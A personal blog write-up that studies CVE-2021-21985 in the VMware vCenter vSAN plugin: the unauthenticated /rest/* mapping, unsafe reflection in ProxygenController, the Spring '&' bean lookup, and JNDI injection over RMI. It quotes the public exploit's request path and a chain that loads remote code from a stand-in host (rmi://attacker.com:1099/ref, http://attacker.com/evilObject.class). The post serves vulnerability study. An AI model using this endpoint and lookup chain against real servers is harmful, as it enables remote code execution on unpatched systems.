Learning JNDI Injection From CVE-2021-21985

Intro

The exploitation of this RCE consists of two parts, one being the lack of authentication validation to h5-vsan endpoint, and another being the unsafe reflection usage in Java which then caused a JNDI injection. I was not smart enough to come up with the JDNI attack chain, but certainly learned a lot while attempting to understand how the attack chain works.

Preparation

The setup was definitely a pain though there is nothing too much to it. First I need to setup a ESXi server, then the VSphere client, I was using the Linux version. After all is done, I can go look for the vulnerable package.

As mentioned in the original VMware announcement, the affected service was the vsan healthcheck plugin, which is enabled by default. Then following the instruction on how to mitigate the issue, I found the vsan-h5-client.zip

Now to copy this file to my host machine, one thing about the VMware Phonton system is it has really strict firewall rules, and despite being a UNIX system, the binaries on the machine is limited. I could use the package manager on Phonton OS tdnf to install packages, but didn’t pull it off. Eventually I just ran a Python3 HTTP server and transfer files that way.

Upon unzipping there are some Jar and War files. War files are essentially Zip files, while Jar files are Java archive files, containing Java metadata as well as compiled Java classes. I used jd-gui to decompile those Jar files.

Authentication Bypass

I guess it’s not really a bypass since there was no validation in the first place. The problem was in WEB-INF/web.xml in h5-vsan-context.jar. This web.xml defines some metadata as well as configuration to the package, and from the following snippet of file we can see how the request is being mapped.

   <servlet-mapping>
      <servlet-name>springServlet</servlet-name>
      <url-pattern>/rest/*</url-pattern>
   </servlet-mapping>

   <!-- required filter to manage http sessions -->
   <filter>
      <filter-name>sessionManagementFilter</filter-name>
      <filter-class>com.vmware.vise.security.SessionManagementFilter</filter-class>
   </filter>

   <filter-mapping>
      <filter-name>sessionManagementFilter</filter-name>
      <url-pattern>/*</url-pattern>
   </filter-mapping>

So all the requests visiting https://<ip>/<vsna-plugin>/rest/* will be handled by springServlet, without any authentication checks. And now look at the fixed version:

   <servlet-mapping>
      <servlet-name>springServlet</servlet-name>
      <url-pattern>/rest/*</url-pattern>
   </servlet-mapping>

   <!-- required filter to manage http sessions -->
   <filter>
      <filter-name>sessionManagementFilter</filter-name>
      <filter-class>com.vmware.vise.security.SessionManagementFilter</filter-class>
   </filter>

   <filter-mapping>
      <filter-name>sessionManagementFilter</filter-name>
      <url-pattern>/*</url-pattern>
   </filter-mapping>

   <filter>
      <filter-name>authenticationFilter</filter-name>
      <filter-class>com.vmware.vsan.client.services.AuthenticationFilter</filter-class>
   </filter>

   <filter-mapping>
      <filter-name>authenticationFilter</filter-name>
      <url-pattern>/rest/*</url-pattern>
   </filter-mapping>

We can see there now is an authentication check. Now we know the /rest/* is vulnerable, the next part is where is the entrance for h5-vsan? In /META-INF/MANIFEST.MF there are some clues.

Manifest-Version: 1.0
Bundle-SymbolicName: com.vmware.vsan.client.h5-vsan-context
Bundle-Name: h5-vsan-context
Bundle-Version: 6.0.0.0-SNAPSHOT
Require-Bundle: com.vmware.vsan.client.h5-vsan-service
Bundle-ManifestVersion: 2
Web-ContextPath: ui/h5-vsan

So the complete URL to the vulnerable endpoints would be: https://<ip>/ui/h5-vsan/rest/*.

Unsafe Reflection

In Java Spring webapps, routings are usually handled by @RequestMapping, and by looking for this very string, I found a few candicates.

And the most interesting of all is this ProxygenController.java.

Below are the relavant codes,

@Controller
@RequestMapping({"/proxy"})
public class ProxygenController extends RestControllerBase {
  private static final Logger logger = LoggerFactory.getLogger(ProxygenController.class);

  @Autowired
  private BeanFactory beanFactory;

  @Autowired
  private MessageBundle messages;

  @RequestMapping(value = {"/service/{beanIdOrClassName}/{methodName}"}, method = {RequestMethod.POST}, consumes = {"application/json"}, produces = {"application/json"})
  @ResponseBody
  public Object invokeServiceWithJson(@PathVariable("beanIdOrClassName") String beanIdOrClassName, @PathVariable("methodName") String methodName, @RequestBody Map<String, Object> body) throws Exception {
    List<Object> rawData = null;
    try {
      rawData = (List<Object>)body.get("methodInput");
    } catch (Exception e) {
      logger.error("service method failed to extract input data", e);
      return handleException(e);
    } 
    return invokeService(beanIdOrClassName, methodName, null, rawData);
  }

  @RequestMapping(value = {"/service/{beanIdOrClassName}/{methodName}"}, method = {RequestMethod.POST}, consumes = {"multipart/form-data"}, produces = {"application/json"})
  @ResponseBody
  public Object invokeServiceWithMultipartFormData(@PathVariable("beanIdOrClassName") String beanIdOrClassName, @PathVariable("methodName") String methodName, @RequestParam("file") MultipartFile[] files, @RequestParam("methodInput") String rawData) throws Exception {
    List<Object> data = null;
    try {
      Gson gson = new Gson();
      data = (List<Object>)gson.fromJson(rawData, List.class);
    } catch (Exception e) {
      logger.error("service method failed to extract input data", e);
      return handleException(e);
    } 
    return invokeService(beanIdOrClassName, methodName, files, data);
  }

  private Object invokeService(String beanIdOrClassName, String methodName, MultipartFile[] files, List<Object> data) throws Exception {
    try {
      Object bean = null;
      String beanName = null;
      Class<?> beanClass = null;
      try {
        beanClass = Class.forName(beanIdOrClassName);
        beanName = StringUtils.uncapitalize(beanClass.getSimpleName());
      } catch (ClassNotFoundException classNotFoundException) {
        beanName = beanIdOrClassName;
      } 
      try {
        bean = this.beanFactory.getBean(beanName);
      } catch (BeansException beansException) {
        bean = this.beanFactory.getBean(beanClass);
      } 
      byte b;
      int i;
      Method[] arrayOfMethod;
      for (i = (arrayOfMethod = bean.getClass().getMethods()).length, b = 0; b < i; ) {
        Method method = arrayOfMethod[b];
        if (!method.getName().equals(methodName)) {
          b++;
          continue;
        } 
        ProxygenSerializer serializer = new ProxygenSerializer();
        Object[] methodInput = serializer.deserializeMethodInput(data, files, method);
        Object result = method.invoke(bean, methodInput);
        Map<String, Object> map = new HashMap<>();
        map.put("result", serializer.serialize(result));
        return map;
      } 
    } catch (Exception e) {
      logger.error("service method failed to invoke", e);
      return handleException(e);
    } 
    logger.error("service method not found: " + methodName + " @ " + beanIdOrClassName);
    return handleException(null);
  }

We see, to get to this file, we need to visit https://<ip>/ui/h5-vsan/rest/proxy/.... And this service requires two parameters, one being the bean or class name, and the other one being the method name.

Then according to the request content type, it calls the invokeService function, which takes the input value, passes them into the method.invoke function. This method.invoke is a reflection feature in the Java language, and it takes the method name and method input, then run it. And guess what, we can control the class name, method name, and the method input!

Unfortunately, things are not that easy. Before the code throws everything into the invoke function, it does check if the class is in the allowed beans list.

Spring Beans

I have to say, Java is way beyong my comfort zone, and I really have little knowledge about Java webapps. Spring is a framework for Java, and not to be confused with Spring Boot. Spring Boot is also a Java framework, but it’s based on Spring, and it focus on Rest APIs mainly.

How I understand the bean in Spring is: before we need to create a class and handle it in Java code, but now with Spring, we can define a bean with the property of a certain class and let Spring handles all the processes for us. Beans are defined in a XML file, and the entity looks like <bean id="..." class="..."></bean>.

There can be more attributes added to the beans, but the most basic type of bean would only require a name\id and a class name.

…I hope I’m saying that right. But anyway, that’s how I understand it and it makes sense to me.

Now go back to the invokeService function, we see classes proviced by us will be checked for valid beans entries. And that makes our work tremendously hard, in order to get code execution, we have to find the method in class which is defined in the beans list. That took me forever, and I never found it. I still believe it’s possible as I am writing this blog, but as inexpreienced as I am, I give up for now.

According To The Exploit…

The real poc was published by iswin. Now looking at the URL is sending requests to:

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1

We already know the from prior analysis that the class is &vsanProviderUtils_setVmodlHelper and the method is setTargetObject, but…, how? There is no way &vsanProviderUtils_setVmodlHelper be a valid Java class name, but I can find vsanProviderUtils is. And it turns out it has something to do with the Spring bean representation.

In the getBean function, when a bean name is provided, it will obviously return the bean by the name. But if there is a & in front of the bean name, it will just return the original class defined in the bean. So if we look for the bean name of vsanProviderUtils_setVmodlHelper:

We see the class for this very bean is org.springframework.beans.factory.config.MethodInvokingFactoryBean

And from this website, we can see some methods associated with this class.

Some key methods in this class are:

setTargetObject
setTargetClass
setTargetMethod
setStaticMethod
setArguments
prepare
invoke

I wanted to to try out an exploit without doing JNDI injection, so I turned my attention to the setTargetMethod and setTargetClass methods, but I can’t pass a class object in JSON as the setTargetClass requires a class object as argument. I also believe it requires a static method which the famous java.lang.Runtime.exec() is not. The getRuntime() method is, but the output cannot be serialized thus not possible. And no, setStaticMethod also would not work, because… it sets a static method.

The prepare and invoke isn’t that special, it just sets up the method and executes it. There is a static method we can exploit, that’s the javax.naming.InitialContext.doLookup method. We finish the exploit chain with a JNDI injection.

JNDI Injection

I will drop this first, I’m not a Java guy, and I’m just starting learning Java vulnerabilities, so my explanation can very well be inaccurate. But I tried. I read this article to improve my understanding of JNDI, check it out.

JNDI injection is a classic Java vulnerability. JNDI stands for Java Naming and Directory Interface, it works like a HTTP server, upon looking up it will get the correspond Java class and run it (Hope it’s the right explanation).

In the RMI case, we need to first create an interface, let’s say

public interface jndi extends Remote{
    ...
}

Then create a class which implements the interface we just created, like

public class jndiImpl extends UnicastRemoteObject implements jndi{
    ...
}

And create a registry so that the JNDI knows what to look for.

public static void main(String[] args){
    ...
    Registry reg = LocalRegistry.createRegistry(1099) 
    // 1099 is the common RMI port.
    jndi j = new jndiImpl();
    reg.bind("jndi", j);
    /* after binding to rmi://ip:1099/jndi, 
     * it can call whatever method in the 
     * original jndi class.
     * /
}

I stole this image from the article I mentioned before, and it should make a lot sense.

But that doesn’t sound all that exciting, because the methods are being executed on the server side, and in this case we are the server side.

However, there is a way to dynamically load the class on client side. When we are getting a Reference class, it will be loaded on the client side.

There are some crucial attributes in Reference:

className
classFactory
classFactoryLocation

We can use

Reference ref = new Reference("refClass", "insClassName", "http://ip:port/");
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
reg.bind("ref", wrapper);

such that when the client is looking up the object, it will look for the Reference class in local, eventually the remote HTTP address we provided and dynamically load the class.

The complete attack chain using JNDI injection is:

  1. Client lookup rmi://attacker.com:1099/ref
  2. On rmi://attacker.com:1099/ref we set Reference("evilObject", "evilObject", "http://attacker.com/")
  3. Client will then try to look for http://attacker.com/evilObject.class
  4. Since in evilObject we setup some malicious code, then upon hitting http://attacker.com/evilObject, the class is dynamically loaded, our code get executed
  5. Profit

Miscellaneous

Just to show you it really works… but I haven’t setup RMI services, but this should be sound enough.

I also mentioned earlier that we can use setStaticMethod, while it does not help us get code execution, we can still call some static methods…

There are really a lot to learn in Java security, also kinda weird why there isn’t any Java webapps in CTFs.

Reference

One thought on “Learning JNDI Injection From CVE-2021-21985

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s